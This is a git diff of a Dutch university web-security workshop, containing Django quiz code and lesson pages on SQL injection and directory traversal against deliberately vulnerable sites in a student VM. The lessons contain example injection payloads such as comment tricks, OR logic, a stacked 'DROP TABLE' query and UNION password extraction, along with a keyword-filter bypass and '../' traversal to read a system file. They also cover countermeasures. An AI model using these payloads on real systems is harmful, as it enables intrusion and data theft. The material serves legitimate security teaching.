Compare commits
No commits in common. '6c80186fb8f9fd2e07bf4fe184089be6118e2bb1' and '93367042b937cd2df88d66d4d3e0e22149206b46' have entirely different histories.
6c80186fb8
...
93367042b9
@ -1,4 +1 @@ |
||||
.DS_Store |
||||
*.pyc |
||||
db.sqlite3 |
||||
securityquiz/secrets.py |
@ -0,0 +1,58 @@ |
||||
<!DOCTYPE html> |
||||
<html> |
||||
|
||||
<head> |
||||
<title>Security Workshop</title> |
||||
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css"> |
||||
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css"> |
||||
<link href="/static/css/style.css" rel="stylesheet" type="text/css"> |
||||
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script> |
||||
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script> |
||||
<script type="text/javascript" src="/static/js/quiz.js"></script> |
||||
</head> |
||||
|
||||
<body> |
||||
<form method="POST" id="form-quiz"> |
||||
<div class="row-fluid"> |
||||
<div class="well span3" id="menu"> |
||||
|
||||
<ul> |
||||
<li> |
||||
<a href="/?sql">SQL Injection</a> |
||||
</li> |
||||
<li> |
||||
<a href="/?xss">Cross-site Scripting</a> |
||||
</li> |
||||
<li> |
||||
<a href="/?wachtwoorden">Wachtwoorden</a> |
||||
</li> |
||||
<li> |
||||
<a href="/?path">Insecure Direct Object References</a> |
||||
</li> |
||||
<!-- |
||||
<li> |
||||
<a href="/?oauth">OAuth</a> |
||||
</li> |
||||
<li> |
||||
<a href="/?certificaten">Certificaten</a> |
||||
</li> |
||||
<li> |
||||
<a href="/?encryptie">Encryptie</a> |
||||
</li> |
||||
--> |
||||
</ul> |
||||
|
||||
Moeilijkheidsgraad: |
||||
<select id="difficulty"> |
||||
<option value="easy">Hints zichtbaar</option> |
||||
<option value="normal">Hints optioneel</option> |
||||
<option value="hard">Geen hints</option> |
||||
</select> |
||||
</div> |
||||
|
||||
<div id="quiz" class="span8 offset3"> |
||||
</div> |
||||
</form> |
||||
</body> |
||||
|
||||
</html> |
@ -1,10 +0,0 @@ |
||||
#!/usr/bin/env python |
||||
import os |
||||
import sys |
||||
|
||||
if __name__ == "__main__": |
||||
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "securityquiz.settings") |
||||
|
||||
from django.core.management import execute_from_command_line |
||||
|
||||
execute_from_command_line(sys.argv) |
@ -0,0 +1,78 @@ |
||||
<h1>Insecure Direct Object References</h1> |
||||
|
||||
<img src="/static/img/imgr.png"> |
||||
|
||||
<h2>Image site</h2> |
||||
|
||||
<p>Ons nieuwe doelwit is de site "imgr", een populaire website waar vaak meme plaatjes naar worden geüpload. Er is geen database |
||||
dus we kunnen geen SQL injection uitvoeren, en cross-site scripting is ook geen mogelijkheid meer op deze site (...toch?).</p> |
||||
|
||||
<p>We zijn geïnteresseerd in de inhoud van een bestandje wat staat in de VM: "/etc/geheim.txt". Hack de website en vind uit |
||||
wat de inhoud van dit bestandje is.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> het lijkt er op dat je niet alleen plaatjes kan uploaden...</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> Zoek een manier om een eigen php script te uploaden en te runnen</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat staat er in /etc/geheim.txt? (Het is een supersecret TODO item)</span> |
||||
</div> |
||||
|
||||
|
||||
|
||||
<h2>Image 2</h2> |
||||
<p>Ga naar "Image 2". De site heeft het probleem opgelost door de upload map te verplaatsen naar een map die niet via de webserver |
||||
bereikbaar is. De plaatjes worden nu via een speciaal image.php ( |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/image.php">source</a>) bestandje geinclude. Daarmee heeft de site ook weer een enorm security probleem geïntroduceerd! </p> |
||||
|
||||
<p class="hint">Met een paar extra |
||||
<code>../</code> kan je file_get_contents() een hele hoop bestanden laten uitlezen!</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je nu rechtstreeks de inhoud van /etc/geheim.txt uitlezen?</span> |
||||
</div> |
||||
|
||||
<p>Verander image.php in image_check_prefix.php ( |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_check_prefix.php">source</a>) . In dit bestand is een extra beveiliging die checkt of het pad begint met de map 'uploads'</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je met dit meer 'beveiligde' script de inhoud van /etc/geheim.txt uitlezen?</span> |
||||
</div> |
||||
|
||||
<p>Verander de bestandsnaam in image_remove_traversal.php ( |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_remove_traversal.php">source</a>) , dit script heeft nu een beveiliging die alle '../' uit de string verwijderd zodat je niet meer ../ in de |
||||
URL kan gebruiken.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> Weet je nog hoe je deze beveiliging ongedaan hebt gemaakt bij die website die alle SELECT en UNION uit de |
||||
URL filterde?</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je via het image_remove_traversal.php script de inhoud van /etc/geheim.txt uitlezen?</span> |
||||
</div> |
||||
|
||||
<p>Zoek op internet naar 'Directory traversal' en zoek uit wat voor technieken er nog meer mogelijk zijn.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Beschrijf hoe jij de site zou programmeren zodat alle directory traversal aanvallen niet meer mogelijk zijn.</span> |
||||
</div> |
||||
|
||||
<img src="/static/img/parent_dir.png" class="center-block"> |
||||
|
||||
<h2>Image 3</h2> |
||||
|
||||
<p>Ga naar "Image 3". imgr heeft hun site uitgebreid met extra pagina's ( |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/index_more_pages.php">source</a>). De afbeeldingen hebben ze maar weggehaald omdat daar teveel security problemen mee waren.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> imgr zijn bezig met het maken van een inlogpagina en een registreren pagina.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> Heb je de broncode al bekeken? Die regel met |
||||
<code>include()</code> ziet er interessant uit...</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Beschrijf hoe je met deze site de inhoud van /etc/geheim.txt kan achterhalen</span> |
||||
</div> |
@ -1,4 +0,0 @@ |
||||
from django.contrib import admin |
||||
import models |
||||
|
||||
admin.site.register(models.Answer) |
@ -1,33 +0,0 @@ |
||||
# -*- coding: utf-8 -*- |
||||
from __future__ import unicode_literals |
||||
|
||||
from django.db import models, migrations |
||||
from django.conf import settings |
||||
|
||||
|
||||
class Migration(migrations.Migration): |
||||
|
||||
dependencies = [ |
||||
migrations.swappable_dependency(settings.AUTH_USER_MODEL), |
||||
] |
||||
|
||||
operations = [ |
||||
migrations.CreateModel( |
||||
name='Answer', |
||||
fields=[ |
||||
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), |
||||
('question', models.CharField(max_length=128)), |
||||
('string', models.TextField()), |
||||
('points', models.IntegerField(null=True)), |
||||
('comment', models.TextField(null=True)), |
||||
('user', models.ForeignKey(to=settings.AUTH_USER_MODEL)), |
||||
], |
||||
options={ |
||||
}, |
||||
bases=(models.Model,), |
||||
), |
||||
migrations.AlterUniqueTogether( |
||||
name='answer', |
||||
unique_together=set([('user', 'question')]), |
||||
), |
||||
] |
@ -1,20 +0,0 @@ |
||||
# -*- coding: utf-8 -*- |
||||
from __future__ import unicode_literals |
||||
|
||||
from django.db import models, migrations |
||||
|
||||
|
||||
class Migration(migrations.Migration): |
||||
|
||||
dependencies = [ |
||||
('quiz', '0001_initial'), |
||||
] |
||||
|
||||
operations = [ |
||||
migrations.AddField( |
||||
model_name='answer', |
||||
name='submitted', |
||||
field=models.DateField(auto_now_add=True, null=True), |
||||
preserve_default=True, |
||||
), |
||||
] |
@ -1,20 +0,0 @@ |
||||
# -*- coding: utf-8 -*- |
||||
from __future__ import unicode_literals |
||||
|
||||
from django.db import models, migrations |
||||
|
||||
|
||||
class Migration(migrations.Migration): |
||||
|
||||
dependencies = [ |
||||
('quiz', '0002_answer_submitted'), |
||||
] |
||||
|
||||
operations = [ |
||||
migrations.AlterField( |
||||
model_name='answer', |
||||
name='submitted', |
||||
field=models.DateTimeField(auto_now_add=True, null=True), |
||||
preserve_default=True, |
||||
), |
||||
] |
@ -1,26 +0,0 @@ |
||||
# -*- coding: utf-8 -*- |
||||
from __future__ import unicode_literals |
||||
|
||||
from django.db import models, migrations |
||||
|
||||
|
||||
class Migration(migrations.Migration): |
||||
|
||||
dependencies = [ |
||||
('quiz', '0003_auto_20150520_1113'), |
||||
] |
||||
|
||||
operations = [ |
||||
migrations.CreateModel( |
||||
name='LetsEncryptChallenge', |
||||
fields=[ |
||||
('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), |
||||
('challenge', models.CharField(max_length=128)), |
||||
('response', models.CharField(max_length=128)), |
||||
('expiry_date', models.DateTimeField()), |
||||
], |
||||
options={ |
||||
}, |
||||
bases=(models.Model,), |
||||
), |
||||
] |
@ -1,25 +0,0 @@ |
||||
from django.db import models |
||||
from django.contrib.auth.models import User |
||||
|
||||
# Create your models here. |
||||
class Answer(models.Model): |
||||
user = models.ForeignKey(User) |
||||
question = models.CharField(max_length=128) |
||||
string = models.TextField() |
||||
|
||||
# Feedback |
||||
points = models.IntegerField(null=True) |
||||
comment = models.TextField(null=True) |
||||
|
||||
submitted = models.DateTimeField(auto_now_add=True, null=True) |
||||
|
||||
class Meta: |
||||
unique_together = ('user', 'question') |
||||
|
||||
def __str__(self): |
||||
return self.question + ": " + self.string |
||||
|
||||
class LetsEncryptChallenge(models.Model): |
||||
challenge = models.CharField(max_length=128) |
||||
response = models.CharField(max_length=128) |
||||
expiry_date = models.DateTimeField() |
@ -1,10 +0,0 @@ |
||||
|
||||
DB_NAME = '' |
||||
DB_USER = '' |
||||
DB_PASSWORD = '' |
||||
|
||||
# Can be obtained at https://publicapi.avans.nl/newconsumer/ |
||||
AVANS_KEY = '' |
||||
AVANS_SECRET = '' |
||||
|
||||
SECRET_KEY = ' |
@ -1,120 +0,0 @@ |
||||
""" |
||||
Django settings for securityquiz project. |
||||
|
||||
For more information on this file, see |
||||
https://docs.djangoproject.com/en/1.6/topics/settings/ |
||||
|
||||
For the full list of settings and their values, see |
||||
https://docs.djangoproject.com/en/1.6/ref/settings/ |
||||
""" |
||||
|
||||
# Build paths inside the project like this: os.path.join(BASE_DIR, ...) |
||||
import os, secrets, sys |
||||
BASE_DIR = os.path.dirname(os.path.dirname(__file__)) |
||||
|
||||
CLOSED = False |
||||
|
||||
# Quick-start development settings - unsuitable for production |
||||
# See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/ |
||||
|
||||
# SECURITY WARNING: keep the secret key used in production secret! |
||||
SECRET_KEY = secrets.SECRET_KEY |
||||
|
||||
# SECURITY WARNING: don't run with debug turned on in production! |
||||
DEBUG = False |
||||
|
||||
if 'runserver' in sys.argv: |
||||
DEBUG = True |
||||
|
||||
ALLOWED_HOSTS = ['sec1.aii.avans.nl'] |
||||
|
||||
|
||||
# Application definition |
||||
|
||||
INSTALLED_APPS = ( |
||||
'django.contrib.admin', |
||||
'django.contrib.auth', |
||||
'django.contrib.contenttypes', |
||||
'django.contrib.sessions', |
||||
'django.contrib.messages', |
||||
'django.contrib.staticfiles', |
||||
'quiz', |
||||
'oauth2_provider', |
||||
'corsheaders', |
||||
) |
||||
|
||||
MIDDLEWARE_CLASSES = ( |
||||
'django.contrib.sessions.middleware.SessionMiddleware', |
||||
'django.middleware.common.CommonMiddleware', |
||||
'django.middleware.csrf.CsrfViewMiddleware', |
||||
'django.contrib.auth.middleware.AuthenticationMiddleware', |
||||
'django.contrib.messages.middleware.MessageMiddleware', |
||||
'django.middleware.clickjacking.XFrameOptionsMiddleware', |
||||
'corsheaders.middleware.CorsMiddleware', |
||||
) |
||||
|
||||
CORS_ORIGIN_ALLOW_ALL = True |
||||
|
||||
ROOT_URLCONF = 'securityquiz.urls' |
||||
|
||||
WSGI_APPLICATION = 'securityquiz.wsgi.application' |
||||
|
||||
# Database |
||||
# https://docs.djangoproject.com/en/1.6/ref/settings/#databases |
||||
|
||||
DATABASES = { |
||||
'default': { |
||||
'ENGINE': 'django.db.backends.mysql', |
||||
'NAME': secrets.DB_NAME, |
||||
'USER': secrets.DB_USER, |
||||
'PASSWORD': secrets.DB_PASSWORD, |
||||
'HOST': '127.0.0.1', |
||||
'PORT': '3306', |
||||
} |
||||
} |
||||
|
||||
# Internationalization |
||||
# https://docs.djangoproject.com/en/1.6/topics/i18n/ |
||||
|
||||
LANGUAGE_CODE = 'en-us' |
||||
|
||||
TIME_ZONE = 'UTC' |
||||
|
||||
USE_I18N = True |
||||
|
||||
USE_L10N = True |
||||
|
||||
USE_TZ = True |
||||
|
||||
|
||||
# Static files (CSS, JavaScript, Images) |
||||
# https://docs.djangoproject.com/en/1.6/howto/static-files/ |
||||
|
||||
STATIC_URL = '/static/' |
||||
|
||||
PROJECT_PATH = os.path.realpath(os.path.dirname(__file__)) + '/..' |
||||
MEDIA_ROOT = PROJECT_PATH + '/media/' |
||||
|
||||
TEMPLATES = [ |
||||
{ |
||||
'BACKEND': 'django.template.backends.django.DjangoTemplates', |
||||
'DIRS': [PROJECT_PATH + '/templates'], |
||||
'APP_DIRS': True, |
||||
'OPTIONS': { |
||||
'context_processors': [ |
||||
'django.template.context_processors.debug', |
||||
'django.template.context_processors.request', |
||||
'django.contrib.auth.context_processors.auth', |
||||
'securityquiz.settings.closed', |
||||
'django.contrib.messages.context_processors.messages', |
||||
], |
||||
}, |
||||
}, |
||||
] |
||||
|
||||
STATICFILES_DIRS = ( |
||||
PROJECT_PATH + '/static', |
||||
) |
||||
|
||||
def closed(request): |
||||
return {'CLOSED': CLOSED} |
@ -1,21 +0,0 @@ |
||||
from django.conf.urls import patterns, include, url |
||||
from django.contrib import admin |
||||
import views |
||||
|
||||
admin.autodiscover() |
||||
|
||||
urlpatterns = [ |
||||
# Examples: |
||||
url(r'^o/', include('oauth2_provider.urls', namespace='oauth2_provider')), |
||||
url(r'^api/hello', views.SecurityApi.as_view()), |
||||
url(r'^callback$', views.avans_callback), |
||||
url(r'^logout$', views.avans_logout), |
||||
url(r'^pull$', views.git_pull), |
||||
url(r'^admin/', include(admin.site.urls)), |
||||
url(r'^save$', views.save), |
||||
url(r'^sign$', views.sign), |
||||
url(r'^graderhelper$', views.graderhelper), |
||||
url(r'^letsencrypt$', views.letsencrypt), |
||||
url(r'^\.well-known/acme-challenge/(.+)', views.letsencrypt_challenge), |
||||
url(r'^(.*)$', views.home, name='home'), |
||||
] |
@ -1,20 +0,0 @@ |
||||
""" |
||||
WSGI config for securityquiz project. |
||||
|
||||
It exposes the WSGI callable as a module-level variable named ``application``. |
||||
|
||||
For more information on this file, see |
||||
https://docs.djangoproject.com/en/1.6/howto/deployment/wsgi/ |
||||
""" |
||||
|
||||
import os, sys |
||||
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "securityquiz.settings") |
||||
|
||||
path = '/var/www/security.aardappelschilmesje.nl' |
||||
if path not in sys.path: |
||||
sys.path.append(path) |
||||
|
||||
from django.core.wsgi import get_wsgi_application |
||||
application = get_wsgi_application() |
||||
|
||||
|
@ -0,0 +1,221 @@ |
||||
<style> |
||||
code i { |
||||
color: blue; |
||||
font-style: normal; |
||||
font-weight: bold; |
||||
} |
||||
|
||||
p code { |
||||
padding: 0; |
||||
margin: 2px; |
||||
} |
||||
</style> |
||||
|
||||
<h1>Web App Security</h1> |
||||
|
||||
<p>Welkom bij de cursus Web Application Security! Deze cursus gaan we ons richten op het hacken van websites. En met die zin |
||||
komen we meteen bij een gouden regel:</p> |
||||
|
||||
<blockquote>Het hacken van websites zonder toestemming is |
||||
<strong>niet</strong> toegestaan</blockquote> |
||||
|
||||
<p>Om de opdrachten te kunnen maken krijg je toestemming om de websites in de VM te mogen hacken ;). We gaan in verschillende |
||||
manieren bekijken om in te breken op een website. Aan jullie de taak om die tijdens de workshop in de praktijk te brengen</p> |
||||
|
||||
<img src="/static/img/security_banner.jpg" style="width: 50%" class="center-block"> |
||||
|
||||
<h1>SQL injection</h1> |
||||
|
||||
<p>We beginnen bij één van de meest veelvoorkomende beveiligingslekken die er bij webapplicaties voorkomen. Dagelijks nog zijn |
||||
er |
||||
<a href="https://www.google.nl/webhp?#safe=off&tbm=nws&q=sql+injection" target="_blank">nieuwsberichten</a> van websites die hun code niet goed op orde hebben en kwetsbaar zijn tegen deze aanval. Deze week gaan |
||||
we kijken hoe deze aanval werkt en hoe je er tegen kunt beveiligen.</p> |
||||
|
||||
<p>In bijna alle webapplicatie projecten heb je te maken met een database waar je mee communiceert via SQL. Een typische query |
||||
die wordt uitgevoerd is bijvoorbeeld deze:</p> |
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul</i>' AND heeftbetaald='ja'</code> |
||||
|
||||
<p>Waarbij het blauwe gedeelte invoer is uit bijvoorbeeld een GET parameter ('?naam=paul'). Er lijkt niks aan de hand, maar |
||||
als we de invoer niet zorgvuldig filteren geven de gebruiker de kans om de query op onbedoelde manier te veranderen.</p> |
||||
|
||||
<h5>Commentaar</h5> |
||||
<p>Met |
||||
<code>-- </code> (streepje, streepje, spatie) is het in SQL mogelijk om commentaar te zetten in je query, hetzelfde wat je in PHP met |
||||
<code>//</code> zou doen. Met een slim gekozen invoer kunnen we de query er zo uit laten zien:</p> |
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul' -- </i>' AND heeftbetaald='ja'</code> |
||||
|
||||
<p>De database voert de query uit, maar niet zoals de gebruiker hem heeft bedoeld: alles achter de -- wordt genegeerd als commentaar. |
||||
De query zal dus ook rijen teruggeven waar |
||||
<i>heeftbetaald</i> niet op 'ja' staat, wat afhankelijk van de code van de website kan betekenen dat we gratis dingen kunnen |
||||
kopen :)</p> |
||||
|
||||
<h5>AND, OR</h5> |
||||
|
||||
<p>Een andere manier om queries te veranderen is om nieuwe logica (AND, OR) te injecteren in de SQL. We kunnen bijvoorbeeld |
||||
de volgende query maken met de juiste invoer:</p> |
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul' OR 'bla'='</i>' AND heeftbetaald='ja'</code> |
||||
|
||||
<p>Deze query maakt weer het |
||||
<i>heeftbetaald='ja'</i> gedeelte nutteloos. Als de naam al overeenkomt maakt het niet uit wat er achter de OR staat, het |
||||
resultaat is altijd true (de haakjes worden als volgt geplaatst: |
||||
<code>. OR ( . AND . )</code>).</p> |
||||
|
||||
<h5>Meerdere queries</h5> |
||||
<p>Eén van de meest gevaarlijke is als het mogelijk is om compleet nieuwe queries uit te kunnen voeren op de database. Bedenk |
||||
eens wat er gebeurt als de gebruiker deze invoer geeft:</p> |
||||
|
||||
<code>SELECT naam FROM leden WHERE id=<i>0; DROP TABLE leden;</i></code> |
||||
|
||||
<p>Met |
||||
<code>;</code> geven we aan dat we een nieuwe query beginnen, waarna we vervolgens vrij zijn om elke query uit te voeren die we maar |
||||
willen. Let wel dat het uitvoeren van meerdere queries met bijvoorbeeld mysqli_query() iets is wat standaard uit staat. |
||||
Deze techniek is extra gevaarlijk omdat deze immuun is tegen escapen als het invoer is die niet tussen quotejes staat.</p> |
||||
|
||||
<h5>UNION</h5> |
||||
|
||||
<p>We kunnen met behulp van de |
||||
<a href="http://www.w3schools.com/sql/sql_union.asp" target="_blank">UNION</a> operator ook informatie halen uit andere tabellen in de database:</p> |
||||
|
||||
<code>SELECT naam FROM leden WHERE id=<i>0 UNION SELECT wachtwoord FROM admins</i></code> |
||||
|
||||
<p>De query haalt nu namen van leden op, samen met wachtwoorden uit de admins tabel. Belangrijk voor de UNION is dat beide queries |
||||
evenveel kolommen teruggeven.</p> |
||||
|
||||
<img src="/static/img/shield.png" style="float: right"> |
||||
<h4>Countermeasures</h4> |
||||
|
||||
<p>Het is niet moeilijk om bovenstaande aanvallen te voorkomen. Met een paar simpele aanpassingen kan je ervoor zorgen dat je |
||||
SQL altijd wordt uitgevoerd zoals je die bedoeld hebt.</p> |
||||
|
||||
<h5>Stored procedures</h5> |
||||
<p>Je slaat de SQL op als stored procedure in de database en roept deze aan vanuit je code. Omdat de SQL in de database staat |
||||
in plaats op de server is SQL injectie niet mogelijk</p> |
||||
|
||||
<h5>Prepared statements</h5> |
||||
<p>Dit is de meest gebruikte en veilige manier. Met vraagtekentjes geef je aan op welke plekken de invoer moet komen en die |
||||
vul je dan later in. De SQL wordt altijd uitgevoerd zoals je hem bedoeld hebt. En ook hier is SQL injectie onmogelijk. |
||||
Lees |
||||
<a href="http://php.net/manual/en/mysqli.prepare.php" target="_blank">hier</a> verder</p> |
||||
|
||||
<h5>Escaping</h5> |
||||
<p>Je kan ook alle invoer zelf escapen met functies zoals |
||||
<a href="http://php.net/manual/en/mysqli.real-escape-string.php" target="_blank">mysqli_real_escape_string()</a>. Zorg ervoor dat je dan consequent alle strings escaped met die functie en alle getallen |
||||
cast naar int's voordat je ze in je SQL plakt. Als je er ook maar eentje mist heb je al een SQL injection mogelijkheid |
||||
op je website!</p> |
||||
|
||||
<p>Op |
||||
<a href="http://www.sqltutorial.nl/artikelen/sqlinjections/soorten_sql_injection.html" target="_blank">deze site</a> kan je het allemaal extra nalezen. Maar voor nu genoeg theorie, let's HACK!</p> |
||||
|
||||
<img src="/static/img/sql_injectie.png" class="center-block"> |
||||
|
||||
<h2>Bank</h2> |
||||
<p>Bob is al jaren trouwe klant en gebruikt de site dagelijks om te kijken hoeveel geld er op zijn rekening staat. Achter op |
||||
zijn poespas pas heeft hij met een viltstift „Niet vergeten: Bob 123456” geschreven. Gebruik de site om te kijken hoeveel |
||||
geld Bob op zijn rekening heeft staan.</p> |
||||
|
||||
<p>Alice is ook klant van de bank en wij willen ook graag weten hoeveel geld zij op haar rekening heeft staan. We gaan daarom |
||||
haar rekening hacken met behulp van SQL.</p> |
||||
|
||||
<p>Ga nu aan de slag en hack het account van Alice! Gebruik hiervoor de bovenste link |
||||
<span class="website">"Bank"</span> op de startpagina van jouw virtuele machine.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 1:</strong> Kijk eerst eens wat er gebeurt als je inlogt met een enkele quote in de gebruikersnaam (').</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 2:</strong> Met -- (twee streepjes gevolgd door een spatie) kan je commentaar achter een regel zetten in SQL.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint 3:</strong> Bekijk de broncode achter de site: |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51</a> |
||||
De code beschouwt een gebruiker als ingelogd als de query een rij uit de gebruikerstabel teruggeeft. Manipuleer de query |
||||
zodat deze de gegevens van Alice teruggeeft, zonder dat je het wachtwoord hoeft te weten.</p> |
||||
|
||||
<img src="/static/img/poespas.png" style="width: 70%" class="center-block"> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Hoeveel geld heeft Alice op haar rekening staan?</span> |
||||
</div> |
||||
|
||||
<p>Waarschijnlijk heb je SQL commentaar (--) gebruikt in de vorige opdracht. Voer nu een andere SQL injectie uit door alleen |
||||
het wachtwoord veld te gebruiken. Gebruik niet de SQL commentaar techniek maar verander nu de logica van de query (AND, |
||||
OR) zodat er niet meer gecontroleerd wordt op het wachtwoord.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welk 'wachtwoord' lukt het altijd om in te loggen? (gebruikersnaam moet je leeglaten)</span> |
||||
</div> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> Maak er een query van die alle gebruikers teruggeeft, de site logt dan in als de eerste gebruiker.</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Bekijk de |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">PHP broncode</a> en los het probleem op.</span> |
||||
</div> |
||||
|
||||
<p>Open de |
||||
<span class="website">"Bank (multi_query)"</span> pagina. Op deze pagina werken ook SQL Injection technieken die gebruik maken van meerdere queries |
||||
(queries gescheiden door een ; ).</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke |
||||
<i>"gebruikersnaam"</i> kan je (alleen) Bob miljonair maken? (Het saldo staat in een kolom "balans")</span> |
||||
</div> |
||||
|
||||
<img src="/static/img/bank_schema.png"> |
||||
|
||||
<h2>Webshop</h2> |
||||
|
||||
<p>Inloggen in een ander account is leuk. Maar echte hackers stelen kostbare data uit een website. Dat gaan we nu doen met de |
||||
webshop van Leaky's. Gebruik hiervoor de link |
||||
<span class="website">"Webshop"</span> op de startpagina van jouw virtuele machine.</p> |
||||
|
||||
<p>Je kan de broncode vinden op: |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62</a> |
||||
</p> |
||||
|
||||
<p>Zoals je ziet hebben ze hier gebruik gemaakt van mysqli::real_escape_string(). Je kan dus geen gebruik meer maken van rare |
||||
quotejes om de query aan te passen.</p> |
||||
|
||||
<p>Maar met behulp van de UNION techniek kunnen we alsnog data stelen uit de website.</p> |
||||
|
||||
<p>In de database is er nog een tabel "gebruikers" waar gebruikersnamen en wachtwoorden in staan. Steel deze informatie uit |
||||
de database!</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> Verander het cijfer in de url van de product_details.php pagina in de letter 'a' zodat je de query kan lezen. |
||||
</p> |
||||
|
||||
<img src="/static/img/webshop_schema.png"> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat zijn de gebruikersnamen en wachtwoorden van de 4 gebruikers in de database? (de id's van de gebruikers zijn 1,2,3 en |
||||
4)</span> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Bekijk de |
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">broncode</a> en verbeter deze zodat je geen SQL injection meer kan gebruiken.</span> |
||||
</div> |
||||
|
||||
<p>Open de pagina |
||||
<span class="website">"Webshop (replace)"</span>. De maker van deze website heeft extra maatregelen genomen en woorden als SELECT en UNION uit |
||||
de invoer gefilterd.</p> |
||||
|
||||
<p class="hint"> |
||||
<strong>Hint:</strong> SELSELECTECT</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Met welke URL kan je nu het wachtwoord van Marco achterhalen?</span> |
||||
</div> |
||||
|
||||
<h2>Wereldwijs</h2> |
||||
|
||||
<p>Ga in de VM naar de |
||||
<span class="website">"Wereldwijs"</span> pagina. Op deze pagina kunnen studenten op spelenderwijs leren over de wereld. Maar deze site heeft |
||||
een diep donker geheim die het niet toont aan de wereld, er is een geheime pagina met id 0.</p> |
||||
|
||||
<p>Geen hints en geen broncode deze keer. Aan jullie de taak om de site te hacken (meerdere manieren mogelijk).</p> |
@ -1,61 +0,0 @@ |
||||
<!DOCTYPE html> |
||||
<html> |
||||
<head> |
||||
<title>Security 1</title> |
||||
<link href="/static/css/bootstrap.min.css" rel="stylesheet" type="text/css"> |
||||
<link href="/static/css/bootstrap-responsive.min.css" rel="stylesheet" type="text/css"> |
||||
<link href="/static/css/style.css" rel="stylesheet" type="text/css"> |
||||
<script type="text/javascript" src="/static/js/jquery-2.1.0.min.js"></script> |
||||
<script type="text/javascript" src="/static/js/jquery.base64.min.js"></script> |
||||
<script type="text/javascript" src="/static/js/quiz.js"></script> |
||||
</head> |
||||
<body> |
||||
<form method="POST" id="form-quiz"> |
||||
{% csrf_token %} |
||||
|
||||
<div class="row-fluid"> |
||||
<div class="well span3" id="menu"> |
||||
<p>Ingelogd als <strong>{{ user }}</strong>.</p> |
||||
|
||||
<h5>Security 1</h5> |
||||
<ul> |
||||
<li><a href="/sql">SQL Injection</a></li> |
||||
<li><a href="/xss">Cross-site Scripting</a></li> |
||||
<li><a href="/wachtwoorden">Wachtwoorden</a></li> |
||||
<li><a href="/bonus">Bonus</a></li> |
||||
</ul> |
||||
|
||||
<h5>Security 2</h5> |
||||
<ul> |
||||
<li><a href="/oauth">OAuth</a></li> |
||||
<li><a href="/certificaten">Certificaten</a></li> |
||||
<li><a href="/encryptie">Encryptie</a></li> |
||||
</ul> |
||||
|
||||
Moeilijkheidsgraad: |
||||
<select id="difficulty"> |
||||
<option value="easy">Makkelijk (hints zichtbaar)</option> |
||||
<option value="normal">Normaal (hints optioneel)</option> |
||||
<option value="hard">Moeilijk (geen hints)</option> |
||||
</select> |
||||
|
||||
<a href="/logout" class="btn">Uitloggen</a> |
||||
{% if CLOSED %}<br>Inzendingen kunnen niet meer worden ingezonden{% else %}<button class="btn-primary btn-disabled" type="submit" id="save-button">Opslaan</button><img src="/static/img/loader.gif" id="busy" style="display: none">{% endif %} |
||||
<div class="alert alert-info" id="js-message" style="display: none;"></div> |
||||
<p>Deadline: donderdag 16 juni 23:59</p> |
||||
</div> |
||||
|
||||
<div id="quiz" class="span8 offset3"> |
||||
{% if messages %} |
||||
{% for message in messages %} |
||||
<div class="alert alert-info">{{ message }}</div> |
||||
{% endfor %} |
||||
{% endif %} |
||||
|
||||
{% block content %}{% endblock %} |
||||
|
||||
</div> |
||||
</div> |
||||
</form> |
||||
</body> |
||||
</html> |
@ -1,86 +0,0 @@ |
||||
{% extends "base.html" %} |
||||
|
||||
{% block content %} |
||||
|
||||
<h1>Insecure Direct Object References</h1> |
||||
|
||||
<img src="/static/img/imgr.png"> |
||||
|
||||
<h2>Image site</h2> |
||||
|
||||
